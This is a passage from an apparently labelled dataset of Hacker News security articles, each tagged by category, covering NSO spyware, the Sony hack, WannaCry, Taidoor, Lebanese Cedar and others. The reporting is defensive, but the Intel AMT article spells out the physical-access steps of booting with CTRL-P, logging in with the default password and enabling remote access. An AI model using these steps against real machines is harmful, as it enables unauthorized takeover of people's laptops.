Citizen Lab said it had so far counted as many as 174 publicly-reported cases of individuals worldwide ""abusively targeted"" with NSO spyware, including 150 targets in Panama identified as part of a massive domestic espionage scandal across its former president.

""At the time of writing, various reports indicate that up to 175 individuals may have been inappropriately targeted with NSO Group's spyware in violation of their internationally-recognized human rights,"" the researchers say.

""It seems clear that NSO Group is unable or unwilling to prevent its customers from misusing its powerful spyware tools.""

Amnesty's cybersecurity research team and Citizen Lab were also able to develop a ""fingerprint"" of NSO's attacks by rerouting targets from malicious links in messages to websites where attacks would launch, and found over 600 domains connected to NSO Group.

Those 600 websites Amnesty identified are used to bait and spy on activists in different countries including Zambia, Kenya, Democratic Republic of Congo, Kazakhstan, Latvia, and Hungary, in addition to the Gulf.

",Cyber_Attack
Sony Pictures Hack — 5 Things You Need To Know,https://thehackernews.com/2014/12/sony-pictures-hack.html,"What a horrible start the holiday season in U.S. Over Thanksgiving weekend, Sony Pictures Entertainment suffered a massive data breach as ""Guardians of Peace"" hacked-into Sony Pictures' computer system that brought the studio's network to a screeching halt.

Following the hack, hackers leaked five unreleased Sony movies to Torrent file-sharing website during Black Friday. It's still not clear whether both the incident back to back with Sony Pictures belongs to same group of hackers or not, but here's what you need to know about the breach:

1. FBI MALWARE WARNING AFTER SONY PICTURES HACK
The U.S. Federal Bureau of Investigation (FBI) warned businesses that cyber criminals have used malicious software to launch destructive cyber-attacks in the United States, following the last week's massive data breach at Sony Pictures Entertainment, in which four unreleased films were stolen and pirate-shared.

In a five-page confidential 'flash' warning, FBI recommended users to strengthen the protection of their information systems and limit access to databases. But when asked if the same malicious software had been used against the Sony Pictures hack, FBI declined to comment.

This new ""destructive"" malware has capability to overwrite a victim host's master boot record and all data files. ""The overwriting of the data files will make it extremely difficult and costly, if not impossible, to recover the data using standard forensic methods,"" according to Reuters who independently obtained the report.

2. IS NORTH KOREA BEHIND THE CYBER ATTACK ON SONY PICTURES ?
As we reported earlier, Sony Pictures is investigating the possibility that hackers working on behalf of North Korea were behind the hacking incident.

Sony hack is the payback for upcoming Kim Jong assassination comedy film. It is because the hack comes just a month before the scheduled release of Sony's upcoming comedy ""The Interview,"" a comedy about two journalists who are recruited by the CIA to assassinate North Korean leader Kim Jong Un.

The film became a source of international controversy, and the Pyongyang government denounced the film as ""undisguised sponsoring of terrorism, as well as an Act of War"" in a letter to U.N. Secretary-General Ban Ki-moon in June.

But pointing finger towards North Korea without any strong evidence would be wrong. So, we still won't confirm whether its cyber war by North Korea or some other unknown, sophisticated hacker.

3. FIVE MOVIE LEAKED LINKED TO SONY PICTURES
Following the last weeks cyber-attack on Sony Pictures Entertainment, high-quality versions of five newest films – Annie, Fury, Still Alice, Mr. Turner and To Write Love on Her Arms – distributed by Sony Pictures leaked online during Black Friday.

Four of the leaked films have yet to hit the big screen. The remake of the 1982 released ""Annie"" is Sony's next big film, schedule to hit theaters on Dec. 19 with new stars Quvenzhané Wallis, Cameron Diaz and Jamie Foxx.

Two other new films, ""Mr. Turner"" and ""Still Alice"" are also considered possible Oscar contenders for their lead actors Timothy Spall and Julianne Moore.

4. SONY HIRED FIREEYE FOR INVESTIGATION
Sony Pictures Entertainment has hired Mandiant incident response team of FireEye Inc to help clean-up the damage caused by the huge cyber attack on its network, which forced its employees to put pen to paper over the last few weeks.

In addition to the FireEye, FBI is also investigating the matter and is looking into the devastating leak of four of its upcoming movies, although it has not been confirmed that the leak of all the films came from the same data breach.

Mandiant is a well-known security incident response team of FireEye which deals in forensic analysis, repairs and network restoration. Mandiant is the same team that helped in the catastrophic security breach experienced by one of the world's largest retailer Target in 2013.

5. SONY PICTURES HACK IS NOT THE COMPANY'S FIRST TIME HACK
In August, Sony's PlayStation Network was completely taken down by a distributed denial-of-service (DDoS) attack, a common technique used by hackers to overwhelm a system with traffic and make the network temporarily inaccessible to users.

The gaming network also suffered a more severe hack in 2011, which led to the exposure of 77 million PlayStation and Qriocity accounts along with 25 million Sony Online Entertainment accounts, bringing the total to more than 100 million in one of the largest data breaches ever. The hack cost Sony 14 billion yen ($172 million), and it took the networks -- for downloading and playing games, movies, and music -- offline for about a month before bringing them back up.

",Malware
US Government Warns of a New Strain of Chinese 'Taidoor' Virus,https://thehackernews.com/2020/08/chinese-hacking-malware.html,"Intelligence agencies in the US have released information about a new variant of 12-year-old computer virus used by China's state-sponsored hackers targeting governments, corporations, and think tanks.

Named ""Taidoor,"" the malware has done an 'excellent' job of compromising systems as early as 2008, with the actors deploying it on victim networks for stealthy remote access.

""[The] FBI has high confidence that Chinese government actors are using malware variants in conjunction with proxy servers to maintain a presence on victim networks and to further network exploitation,"" the US Cybersecurity and Infrastructure Security Agency (CISA), the Federal Bureau of Investigation (FBI), and the Department of Defense (DoD) said in a joint advisory.

The US Cyber Command has also uploaded four samples of the Taidoor RAT on the public malware repository VirusTotal to let 50+ Antivirus companies check the virus's involvement in other unattributed campaigns.

However, the malware itself is not new. In an analysis by Trend Micro researchers in 2012, the actors behind Taidoor were found to leverage socially engineered emails with malicious PDF attachments to target the Taiwanese government.

Calling it a ""constantly evolving, persistent threat,"" FireEye noted significant changes in its tactics in 2013, wherein ""the malicious email attachments did not drop the Taidoor malware directly, but instead dropped a 'downloader' that then grabbed the traditional Taidoor malware from the Internet.""

Then last year, NTT Security uncovered evidence of the backdoor being used against Japanese organizations via Microsoft Word documents. When opened, it executes the malware to establish communication with an attacker-controlled server and run arbitrary commands.

According to the latest advisory, this technique of using decoy documents containing malicious content attached to spear-phishing emails hasn't changed.

""Taidoor is installed on a target's system as a service dynamic link library (DLL) and is comprised of two files,"" the agencies said. ""The first file is a loader, which is started as a service. The loader (ml.dll) decrypts the second file (svchost.dll), and executes it in memory, which is the main Remote Access Trojan (RAT).""

In addition to executing remote commands, Taidoor comes with features that allow it to collect file system data, capture screenshots, and carry out file operations necessary to exfiltrate the gathered information.

CISA recommends that users and administrators keep their operating system patches up-to-date, disable File and Printer sharing services, enforce a strong password policy, and exercise caution when opening email attachments.

You can find the full list of best practices here.

",Cyber_Attack
Mystery of Duqu Programming Language Solved,https://thehackernews.com/2012/03/mystery-of-duqu-programming-language.html,"Mystery of Duqu Programming Language Solved

An appeal for help from the programming community has allowed antivirus analysts to classify the unknown language used to develop key components of the Duqu Trojan. The sections responsible for downloading and executing additional modules in the Duqu Trojan, referred to by some as Stuxnet 2.0, were written in standard C++.

Kaspersky Lab experts now say with a high degree of certainty that the Duqu framework was written using a custom object-oriented extension to C, generally called ""OO C"" and compiled with Microsoft Visual Studio Compiler 2008 (MSVC 2008) with special options for optimizing code size and inline expansion.

Kaspersky's Igor Soumenkov wrote, ""No matter which of these two variants is true, the implications are impressive. The Payload DLL contains 95 Kbytes of event-driven code written with OO C, a language that has no automatic memory management or safe pointers,"".

Kaspersky's analysis now concludes:
The Duqu Framework consists of ""C"" code compiled with MSVC 2008 using the special options ""/O1″ and ""/Ob1″
The code was most likely written with a custom extension to C, generally called ""OO C""
The event-driven architecture was developed as a part of the Duqu Framework or its OO C extension
The C&C code could have been reused from an already existing software project and integrated into the Duqu Trojan
The Duqu Framework may have been created by a different programming team, since it is unique to Duqu, unlike many parts of Duqu that seem to be directly borrowed from Stuxnet. It's believed that the developers are old school that don't trust C++ and that's probably why they relied on C. Another reason for using OO C is because back in the good old days it was more portable than C++.

Knowing the techniques used to develop the malware allows Kaspersky's researchers to make better guesses about who might be behind the code. Creating Duqu was a major project, so it's possible that an entirely different team was responsible for creating the Duqu Framework, while others worked on creating drivers and system infection exploits. In this scenario it's even possible that those who created the Duqu framework were ignorant of the real purpose of their work.

Duqu was first detected in September 2011, but Kaspersky Lab believes it has seen the first pieces of Duqu-related malware dating back to August 2007. The Russian security firm also notes Duqu, like Stuxnet before it, is highly targeted and related to Iran's nuclear program.

",Vulnerability
Android Phones Can Get Hacked Just by Looking at a PNG Image,https://thehackernews.com/2019/02/hack-android-with-image.html,"Using an Android device?

Beware! You have to remain more caution while opening an image file on your smartphone—downloaded anywhere from the Internet or received through messaging or email apps.

Yes, just viewing an innocuous-looking image could hack your Android smartphone—thanks to three newly-discovered critical vulnerabilities that affect millions of devices running recent versions of Google's mobile operating system, ranging from Android 7.0 Nougat to its current Android 9.0 Pie.

The vulnerabilities, identified as CVE-2019-1986, CVE-2019-1987, and CVE-2019-1988, have been patched in Android Open Source Project (AOSP) by Google as part of its February Android Security Updates.

However, since not every handset manufacturer rolls out security patches every month, it's difficult to determine if your Android device will get these security patches anytime sooner.

Although Google engineers have not yet revealed any technical details explaining the vulnerabilities, the updates mention fixing ""heap buffer overflow flaw,"" ""errors in SkPngCodec,"" and bugs in some components that render PNG images.

According to the advisory, one of the three vulnerabilities, which Google considered to be the most severe one, could allow a maliciously crafted Portable Network Graphics (.PNG) image file to execute arbitrary code on the vulnerable Android devices.

As Google says, ""the most severe of these issues is a critical security vulnerability in Framework that could allow a remote attacker using a specially crafted PNG file to execute arbitrary code within the context of a privileged process.""

A remote attacker can exploit this vulnerability just by tricking users into opening a maliciously crafted PNG image file (which is impossible to spot with the naked eye) on their Android devices sent through a mobile message service or an email app.

Including these three flaws, Google has patched a total of 42 security vulnerabilities in its mobile operating system, 11 of which are rated critical, 30 high and one moderate in severity.

The technology giant stressed that it has no reports of active exploitation or in the wild abuse of any of the vulnerabilities listed in its February security bulletin.

Google said it has notified its Android partners of all vulnerabilities a month before publication, adding that ""source code patches for these issues will be released to the Android Open Source Project (AOSP) repository in the next 48 hours.""

",Vulnerability
Two TalkTalk hackers jailed for 2015 data breach that cost it £77 million,https://thehackernews.com/2018/11/talktalk-data-breach.html,"Two hackers have been sent to prison for their roles in hacking TalkTalk, one of the biggest UK-based telecommunications company, in 2015 and stealing personal information, banking, and credit card details belonging to more than 156,000 customers.

Matthew Hanley, 23, and Connor Allsopp, 21, both from Tamworth in Staffordshire, were sentenced Monday to 12 months and 8 months in prison, respectively, after they admitted charges relating to the massive breach that cost TalkTalk £77 million in losses.

The total cost also included the massive £400,000 fine imposed by the Information Commissioner's Office (ICO) on TalkTalk for failings to implement the most basic security measures in order to prevent the hack from happening.

At the Old Bailey, the judge Anuja Dhir described Hanley as a ""dedicated hacker"" and sentenced him to 12 months in prison; whereas, Allsopp gets 8-months prison for his lesser role in the cyber attack.

The Judge also said that it was a tragedy to find ""two individuals of such extraordinary talent,"" Daily Mail reported.
""Given the scale of the attack, the number of people whose confidential information was stolen and then passed on to others, I'm sure that your actions caused misery and distress to many thousands of the customers of TalkTalk,"" Dhir added.
Hanley broke into the company's website between October 16 and 21 in 2015 and stole personal and banking details of 156,959 customers. He then passed the stolen information on to his friend Allsopp, who later sold the data to another online user for fraud.

The stolen information included customers' full names, postal addresses, dates of birth, telephone numbers, email addresses, and TalkTalk accounts information, and in almost 16,000 cases, the attackers also accessed financial information.

Another hacker, Daniel Kelley, 21, was arrested, charged and pledged guilty in 2016, for obtaining the stolen data of TalkTalk customers and blackmailing the company's then-CEO, Dido Harding, in an attempt to extort 465 Bitcoins.

""Your actions, the actions of others, resulted in the then-CEO of TalkTalk being subjected to repeated attempts to blackmail her for money. You were not personally involved in making those attempts, but your actions helped facilitate it,"" Judge Dhir told Hanley and Allsopp.

In the weeks following the TalkTalk breach, several teenagers, including a 15-year-old boy from Northern Ireland, a 16-year-old boy from west London, and another 16-year-old from London, were arrested for their alleged role in hacking and blackmailing the telecom company.

",Data_Breaches
"Goal.com Hacked, found to be serving malware !",https://thehackernews.com/2011/05/goalcom-hacked-found-to-be-serving.html,"According to Armorize, soccer news site Goal.com was recently found to be serving malware.

""In an analysis of the attack, Armorize researcher Wayne Huang suggests that a hacker specifically targeted and compromised Goal.com through a back-door that allowed the attacker to manipulate the site's content at will,"" writes threatpost's Brian Donohue.

""According to the report, Goal.com was detected on April 27 and 28, 2011 serving up an iframe attack that forwarded visitors to a rogue domain in the .cc top level domain (TLD),"" Donohue writes. ""That redirect was the first in a chain of events that resulted in the delivery of a known exploit pack, g01pack that targets attacks at the specific operating system and browser version the Goal.com visitor is using. After exploiting the user's browser, further malware, including a Trojan horse program were downloaded to the victim's computer.""

",Malware
Shylock malware : Undetectable virus stealing bank account information,https://thehackernews.com/2012/12/shylock-malware-undetectable-virus.html,"Shylock, a financial malware platform discovered by Trusteer in 2011, is a non-Zeus-based information-stealing trojan that improved methodology for injecting code into additional browser processes to take control of a computer, and an improved evasion technique to prevent malware scanners from detecting its presence.

Why this Name ? Shylock named after the ruthless money lender in Shakespeare's The Merchant of Venice, also deletes its installation files, runs solely in memory, and begins the process again once the infected machine reboots.
Shylock has gained a new trick: The ability to detect whether it's running in a virtual machine (VM) that is being analyzed by malware researchers.

What New ? Latest Shylock dropper detects a remote desktop environment by feeding invalid data into a certain routine and then observing the error code returned. It uses this return code to differentiate between normal desktops and other ""lab"" environments. In particular, when executed from a remote desktop session the return code will be different and Shylock won't install. It is possible to use this method to identify other known or proprietary virtual/sandbox environments as well.

However, it is unclear how long such a trick will help it evade detection, because evasion tactics aren't actually that effective. In February researchers found that none of the world's top 20 malware families except for Conficker try to detect virtual machines.

",Malware
"Exploiting GPS vulnerability to Hijack Ships, Airplanes with $3000 Equipments",https://thehackernews.com/2013/07/GPS-vulnerability-hack-navigation-drone-hacking.html,"The GPS expert Todd Humphreys, professors at the University of Texas, demonstrated that just using a cheap apparatus composed by a small antenna, an electronic GPS ""spoofer"" built in $3,000 and with a laptop, it is possible to exploit GPS vulnerability to obtain control of sophisticated navigation system aboard a 210-foot super-yacht in the Mediterranean Sea.

Humphreys demonstrated the exploit of a GPS vulnerability aboard the yacht ""White Rose of Drachs"" commanded by Capt. Andrew Schofield, the official and his crew were stunned by the effect of the attack.

Humphreys is a famous GPS experts, we met him last year when we discussed about drones hacking. The Assistant Professor of the University of Texas with his team has created the world's most powerful GPS spoofer that was tested on GPS-based timing devices used in mobile phone transmitters.
Humphreys reported the results of his experiment to the Foxnews explaining how his team exploited the GPS system of the vessel: ""We injected our spoofing signals into its GPS antennas and we're basically able to control its navigation system with our spoofing signals,"" 'Imagine shutting down a port. Imagine running a ship aground. These are the kinds of implications we're worried about."" ""For maritime traffic, there are big implications,"" ""You've got 90 percent of the world's cargo going across the seas. Imagine shutting down a port. Imagine running a ship aground. These are the kinds of implications we're worried about.""

The concept is simple, the researchers provided counterfeit GPS signals to the yacht providing inaccurate information on its position to hijack it, potentially the attack could be used to disorient any vessel with serious consequences without victims notification.

Captain Andrew Schofield was shocked by the results of the attack: ""Professor Humphreys and his team did a number of attacks and basically we on the bridge were absolutely unaware of any difference,"" ""I was gobsmacked -- but my entire deck team was similarly gobsmacked,"" Schofield he told Fox News.
The scope of these attacks is hijack GPS systems of victims causing collisions or other damage. A collision of a cruise ship or an oil tanker would lead to devastating consequences in terms of loss of human lives and environmental impact, we have observed it the cases of the Costa Concordia and the Exxon Valdez.

The impact of GPS hacking is not limited to the maritime environment, same kind of attack could be conducted against aircrafts or any other system that use GPS technology: ""You're actually moving about a kilometer off of your intended track in a parallel line and you could be running aground instead of going through the proper channel,"" ""Going after an expensive vessel on the seas and going after a commercial airliner has a lot of parallels,"" Humphreys said.

The latest experiment conducted by Humphreys demonstrated the possibility to control victim's GPS system exploiting the GPS vulnerability, not only to interfere with it.

""Before we couldn't control the UAV. We could only push it off course. This time my students have designed a closed loop controller such that they can dictate the heading of this vessel even when the vessel wants to go a different direction,"" Humphreys said.

The government is concerned by the possible exploitation of critical GPS vulnerabilities, Humphreys was called before Congress to speak with officials from the FAA, CIA and Pentagon, but according the researcher the Department of Homeland Security still been ""fumbling around in the dark"" on GPS security, doing little to address the threat.

Texas Congressman Mike McCaul, chairman of the Homeland Security Committee expressed its concerns on the GPS security issues and remarked with Senators Coburn and Collins the necessity to address these critical threats.

""It's a very serious homeland security issue that we've asked the secretary to review and look at and she's never responded to my requests,"" ""The department seems to be thumbing its nose at it, saying it has no jurisdiction over this issue and not really showing any interest in this issue at all.""

It's important to share information on possible effect of attacks against GPS systems, it could be too easy for the hackers to acquire a low cost appliance to cause serious damage, Schofield commented the results of the experiment with the following eloquent statements: ""People need to know this kind of thing is possible with a relatively small budget and they can with a very simple system steer the ship off-course -- without the Captain knowing"".

",Vulnerability
Bafruz trojan vs Microsoft : Malicious Software Removal Tool Updated,https://thehackernews.com/2012/08/bafruz-trojan-vs-microsoft-malicious.html,"There's a new family of malware that's using a complex set of capabilities to disable antimalware and listen in on sessions between users and some social networks. Bafruz is essentially a backdoor trojan that also is creating a peer-to-peer network of infected computers.

Microsoft has announced that its Microsoft Malicious Software Removal Tool has recently been modified to detect two new malware families, Matsnu and Bafruz.

The payload seems to start by terminating a long list of security processes listed in its code. It then displays a fake system alert that looks like that of any standard rogue AV attack.

The device actually restarts in Safe Mode. Here, the malware can disable all the security products more easily, allowing it to perform its other tasks without being interrupted.

""This may lead the user into believing all is well with their security product, while in the meantime, Bafruz is downloading additional components and malware onto the computer in the background through its P2P network,"" Microsoft.

Microsoft has now added Bafruz to the list of threats detected by its Malicious Software Removal Tool.The update came Tuesday, along with nine patches for 26 security vulnerabilities.

",Vulnerability
WannaCry Kill-Switch(ed)? It's Not Over! WannaCry 2.0 Ransomware Arrives,https://thehackernews.com/2017/05/wannacry-ransomware-cyber-attack.html,"Update — After reading this article, if you want to know, what has happened so far in past 4 days and how to protect your computers from WannaCry, read our latest article ""WannaCry Ransomware: Everything You Need To Know Immediately.""

If you are following the news, by now you might be aware that a security researcher has activated a ""Kill Switch"" which apparently stopped the WannaCry ransomware from spreading further.

But it's not true, neither the threat is over yet.

However, the kill switch has just slowed down the infection rate.

Updated: Multiple security researchers have claimed that there are more samples of WannaCry out there, with different 'kill-switch' domains and without any kill-switch function, continuing to infect unpatched computers worldwide (find more details below).

So far, over 237,000 computers across 99 countries around the world have been infected, and the infection is still rising even hours after the kill switch was triggered by the 22-years-old British security researcher behind the twitter handle 'MalwareTech.'

Also Read — Google Researcher Finds Link Between WannaCry Attacks and North Korea.

For those unaware, WannaCry is an insanely fast-spreading ransomware malware that leverages a Windows SMB exploit to remotely target a computer running on unpatched or unsupported versions of Windows.

So far, Criminals behind WannaCry Ransomware have received nearly 100 payments from victims, total 15 Bitcoins, equals to USD $26,090.
CLICK TO TWEET

Once infected, WannaCry also scans for other vulnerable computers connected to the same network, as well scans random hosts on the wider Internet, to spread quickly.

The SMB exploit, currently being used by WannaCry, has been identified as EternalBlue, a collection of hacking tools allegedly created by the NSA and then subsequently dumped by a hacking group calling itself ""The Shadow Brokers"" over a month ago.
""If NSA had privately disclosed the flaw used to attack hospitals when they *found* it, not when they lost it, this may not have happened,"" NSA whistleblower Edward Snowden says.
Kill-Switch for WannaCry? No, It's not over yet!
In our previous two articles, we have put together more information about this massive ransomware campaign, explaining how MalwareTech accidentally halted the global spread of WannaCry by registering a domain name hidden in the malware.
hxxp://www[.]iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea[.]com
The above-mentioned domain is responsible for keeping WannaCry propagating and spreading like a worm, as I previously explained that if the connection to this domain fails, the SMB worm proceeds to infect the system.

Fortunately, MalwareTech registered this domain in question and created a sinkhole – tactic researchers use to redirect traffic from the infected machines to a self-controlled system. (read his latest blog post for more details)

Updated: Matthieu Suiche, a security researcher, has confirmed that he has found a new WannaCry variant with a different domain for kill-switch function, which he registered to redirect it to a sinkhole in an effort to slows down the infections.
hxxp://ifferfsodp9ifjaposdfjhgosurijfaewrwergwea[.]com/
The newly discovered WannaCry variant works exactly like the previous variant that wreaked havoc across the world Friday night.

But, if you are thinking that activating the kill switch has completely stopped the infection, then you are mistaken.
Since the kill-switch feature was in the SMB worm, not in the ransomware module itself., ""WannaCrypt ransomware was spread normally long before this and will be long after, what we stopped was the SMB worm variant,"" MalwareTech told The Hacker News.
You should know that the kill-switch would not prevent your unpatched PC from getting infected, in the following scenarios:
If you receive WannaCry via an email, a malicious torrent, or other vectors (instead of SMB protocol).
If by chance your ISP or antivirus or firewall blocks access to the sinkhole domain.
If the targeted system requires a proxy to access the Internet, which is a common practice in the majority of corporate networks.
If someone makes the sinkhole domain inaccessible for all, such as by using a large-scale DDoS attack.
MalwareTech also confirmed THN that some ""Mirai botnet skids tried to DDoS the [sinkhole] server for lulz,"" in order to make it unavailable for WannaCry SMB exploit, which triggers infection if the connection fails. But ""it failed hardcore,"" at least for now.

WannaCry 2.0, Ransomware With *NO* Kill-Switch Is On Hunt!
CIRCL c/o securitymadein.lu
Initially, this part of story was based on research of a security researcher, who earlier claimed to have the samples of new WannaCry ransomware that comes with no kill-switch function. But for some reason, he backed off. So, we have removed his references from this story for now.

However, shortly after that, we were confirmed by Costin Raiu, the director of global research and analysis team at Kaspersky Labs, that his team had seen more WannaCry samples on Friday that did not have the kill switch.
""I can confirm we've had versions without the kill switch domain connect since yesterday,"" told The Hacker News.
Updated: WannaCry 2.0 is Someone Else's Work

Raiu from Kaspersky shared some samples, his team discovered, with Suiche, who analysed them and just confirmed that there is a WannaCrypt variant without kill switch, and equipped with SMB exploit that would help it to spread rapidly without disruption.

What's even worse is that the new WannaCry variant without a kill-switch believed to be created by someone else, and not the hackers behind the initial WannaCry ransomware.
""The patched version matt described does attempt to spread. It's a full set which was modified by someone with a hex editor to disable the kill switch,"" Raiu told me.
Updated: However, Suiche also confirmed that the modified variant with no kill switch is corrupted, but this doesn't mean that other hackers and criminals would not come up with a working one.
""Given the high profile of the original attack, it's going to be no surprise at all to see copycat attacks from others, and perhaps other attempts to infect even more computers from the original WannaCry gang. The message is simple: Patch your computers, harden your defences, run a decent anti-virus, and - for goodness sake - ensure that you have secure backups."" Cyber security expert Graham Cluley told The Hacker News.
Expect a new wave of ransomware attack, by initial attackers and new ones, which would be difficult to stop, until and unless all vulnerable systems get patched.
""The next attacks are inevitable, you can simply patch the existing samples with a hex editor and it'll continue to spread,"" Matthew Hickey, a security expert and co-founder of Hacker House told me.
""We will see a number of variants of this attack over the coming weeks and months so it's important to patch hosts. The worm can be modified to spread other payloads not just WCry and we may see other malware campaigns piggybacking off this samples success.""
Even after WannaCry attacks made headlines all over the Internet and Media, there are still hundreds of thousands of unpatched systems out there that are open to the Internet and vulnerable to hacking.
""The worm functionality attempts to infect unpatched Windows machines in the local network. At the same time, it also executes massive scanning on Internet IP addresses to find and infect other vulnerable computers. This activity results in large SMB traffic from the infected host,"" Microsoft says.
Believe me, the new strain of WannaCry 2.0 malware would not take enough time to take over another hundred of thousand vulnerable systems.

Video Demo of WannaCry Ransomware Infection

Hickey has also provided us two video demonstrations, showing packet traces that confirm the use of Windows SMB vulnerability (MS17-010).

And Second one…

Since WannaCry is a single executable file, it can also be spread through other regular exploit vectors, such as spear phishing, drive-by-download attack, and malicious torrent files download, warned Hickey.

Get Prepared: Upgrade, Patch OS & Disable SMBv1

MalwareTech also warned of the future threat, saying ""It's very important [for] everyone [to] understand that all they [the attackers] need to do is change some code and start again. Patch your systems now!""

""Informed NCSC, FBI, etc. I've done as much as I can do currently, it's up to everyone to patch,"" he added.

As we notified today, Microsoft took an unusual step to protect its customers with an unsupported version of Windows — including Windows XP, Vista, Windows 8, Server 2003 and 2008 — by releasing security patches that fix SMB flaw currently being exploited by the WannaCry ransomware.

Even after this, I believe, many individuals remain unaware of the new patches and many organizations, as well as embedded machines like ATM and digital billboard displays, running on older or unpatched versions of Windows, who are considering to upgrade their operating system, would take time as well as it's going to cost them money for getting new licenses.

So, users and organizations are strongly advised to install available Windows patches as soon as possible, and also consider disabling SMBv1 (follow these steps), to prevent similar future cyber attacks.

For god sake: Apply Patches. Microsoft has been very generous to you.

Almost all antivirus vendors have already been added signatures to protect against this latest threat. Make sure you are using a good antivirus, and keep it always up-to-date.

Moreover, you can also follow some basic security practices I have listed to protect yourself from such malware threats.

WannaCry has Hit Over 200,000 Systems in 150 Countries, Warned Europol
Update: Speaking to Britain's ITV, Europol chief Rob Wainwright said the whole world is facing an ""escalating threat,"" warning people that the numbers are going up and that they should ensure the security of their systems is up to date.
""We are running around 200 global operations against cyber crime each year, but we've never seen anything like this,"" Wainwright said, as quoted by BBC.
""The latest count is over 200,000 victims in at least 150 countries. Many of those victims will be businesses, including large corporations. The global reach is unprecedented.""
Above map is showing the WannaCry ransomware infection in just 24 hours.

This story is still updating, stay tuned to our Twitter page for more up-to-date information.

",Cyber_Attack
"Hezbollah Hacker Group Targeted Telecoms, Hosting, ISPs Worldwide",https://thehackernews.com/2021/01/hezbollah-hacker-group-targeted.html,"A ""persistent attacker group"" with alleged ties to Hezbollah has retooled its malware arsenal with a new version of a remote access Trojan (RAT) to break into companies worldwide and extract valuable information.
In a new report published by the ClearSky research team on Thursday, the Israeli cybersecurity firm said it identified at least 250 public-facing web servers since early 2020 that have been hacked by the threat actor to gather intelligence and steal the company's databases.
The orchestrated intrusions hit a slew of companies located in the U.S., the U.K., Egypt, Jordan, Lebanon, Saudi Arabia, Israel, and the Palestinian Authority, with a majority of the victims representing telecom operators (Etisalat, Mobily, Vodafone Egypt), internet service providers (SaudiNet, TE Data), and hosting and infrastructure service providers (Secured Servers LLC, iomart).
First documented in 2015, Volatile Cedar (or Lebanese Cedar) has been known to penetrate a large number of targets using various attack techniques, including a custom-made malware implant codenamed Explosive.
Volatile Cedar has been previously suspected of Lebanese origins — specifically Hezbollah's cyber unit — in connection with a cyberespionage campaign in 2015 that targeted military suppliers, telecom companies, media outlets, and universities.
The 2020 attacks were no different. The hacking activity uncovered by ClearSky matched operations attributed to Hezbollah based on code overlaps between the 2015 and 2020 variants of the Explosive RAT, which is deployed onto victims' networks by exploiting known 1-day vulnerabilities in unpatched Oracle and Atlassian web servers.
Using the three flaws in the servers (CVE-2019-3396, CVE-2019-11581, and CVE-2012-3152) as an attack vector to gain an initial foothold, the attackers then injected a web shell and a JSP file browser, both of which were used to move laterally across the network, fetch additional malware, and download the Explosive RAT, which comes with capabilities to record keystrokes, capture screenshots, and execute arbitrary commands.
""The web shell is used to carry out various espionage operations over the attacked web server, including potential asset location for further attacks, file installation server configuration and more,"" the researchers noted, but not before obtaining escalated privileges to carry out the tasks and transmit the results to a command-and-control (C2) server.
In the five years since the Explosive RAT was first seen, ClearSky said new anti-debugging features were added to the implant in its latest iteration (V4), with the communications between the compromised machine and the C2 server now encrypted.
While it's not surprising for threat actors to keep a low profile, the fact that Lebanese Cedar managed to stay hidden since 2015 without attracting any attention whatsoever implies the group may have ceased operations for prolonged periods in between to avoid detection.
ClearSky noted that the group's use of web shell as its primary hacking tool could have been instrumental in leading researchers to a ""dead-end in terms of attribution.""
""Lebanese Cedar has shifted its focus significantly. Initially they attacked computers as an initial point of access, then progressed to the victim's network then further progressing (sic) to targeting vulnerable, public facing web servers,"" the researchers added.

",Malware
New Intel AMT Security Issue Lets Hackers Gain Full Control of Laptops in 30 Seconds,https://thehackernews.com/2018/01/intel-amt-vulnerability.html,"It's been a terrible new-year-starting for Intel.

Researchers warn of a new attack which can be carried out in less than 30 seconds and potentially affects millions of laptops globally.

As Intel was rushing to roll out patches for Meltdown and Spectre vulnerabilities, security researchers have discovered a new critical security flaw in Intel hardware that could allow hackers to access corporate laptops remotely.

Finnish cyber security firm F-Secure reported unsafe and misleading default behaviour within Intel Active Management Technology (AMT) that could allow an attacker to bypass login processes and take complete control over a user's device in less than 30 seconds.

AMT is a feature that comes with Intel-based chipsets to enhance the ability of IT administrators and managed service providers for better controlling their device fleets, allowing them to remotely manage and repair PCs, workstations, and servers in their organisation.

The bug allows anyone with physical access to the affected laptop to bypass the need to enter login credentials—including user, BIOS and BitLocker passwords and TPM pin codes—enabling remote administration for post-exploitation.

In general, setting a BIOS password prevents an unauthorised user from booting up the device or making changes to the boot-up process. But this is not the case here.

The password doesn't prevent unauthorised access to the AMT BIOS extension, thus allowing attackers access to configure AMT and making remote exploitation possible.

Although researchers have discovered some severe AMT vulnerabilities in the past, the recently discovered issue is of particular concern because it is:
easy to exploit without a single line of code,
affects most Intel corporate laptops, and
could enable attackers to gain remote access to the affected system for later exploitation.
""The attack is almost deceptively simple to enact, but it has incredible destructive potential,"" said F-Secure senior security researcher Harry Sintonen, who discovered the issue in July last year.
""In practice, it can give a local attacker complete control over an individual's work laptop, despite even the most extensive security measures.""
According to the researchers, the newly discovered bug has nothing to do with the Spectre and Meltdown vulnerabilities recently found in the microchips used in almost all PCs, laptops, smartphones and tablets today.

Here's How to Exploit this AMT Issue
To exploit this issue, all an attacker with physical access to a password (login and BIOS) protected machine needs to do is reboot or power-up the targeted PC and press CTRL-P during boot-up, as demonstrated by researchers at F-Secure in the above video.

The attacker then can log into Intel Management Engine BIOS Extension (MEBx) with a default password.

Here, the default password for MEBx is ""admin,"" which most likely remains unchanged on most corporate laptops.

Once logged in, the attacker can then change the default password and enable remote access, and even set AMT's user opt-in to ""None.""

Now, since the attacker has backdoored the machine efficiently, he/she can access the system remotely by connecting to the same wireless or wired network as the victim.

Although exploiting the issue requires physical access, Sintonen explained that the speed and time at which it can be carried out makes it easily exploitable, adding that even one minute of a distraction of a target from its laptop is enough to do the damage.
""Attackers have identified and located a target they wish to exploit. They approach the target in a public place—an airport, a café or a hotel lobby—and engage in an 'evil maid' scenario,"" Sintonen says.
""Essentially, one attacker distracts the mark, while the other briefly gains access to his or her laptop. The attack doesn't require a lot of time—the whole operation can take well under a minute to complete.""
Along with CERT-Coordination Center in the United States, F-Secure has notified Intel and all relevant device manufacturers about the security issue and urged them to address it urgently.

Meanwhile, users and IT administrators in an organisation are recommended to change the default AMT password of their device to a strong one or disable AMT if this option is available, and never leave their laptop or PC unattended in a public place.

",Vulnerability
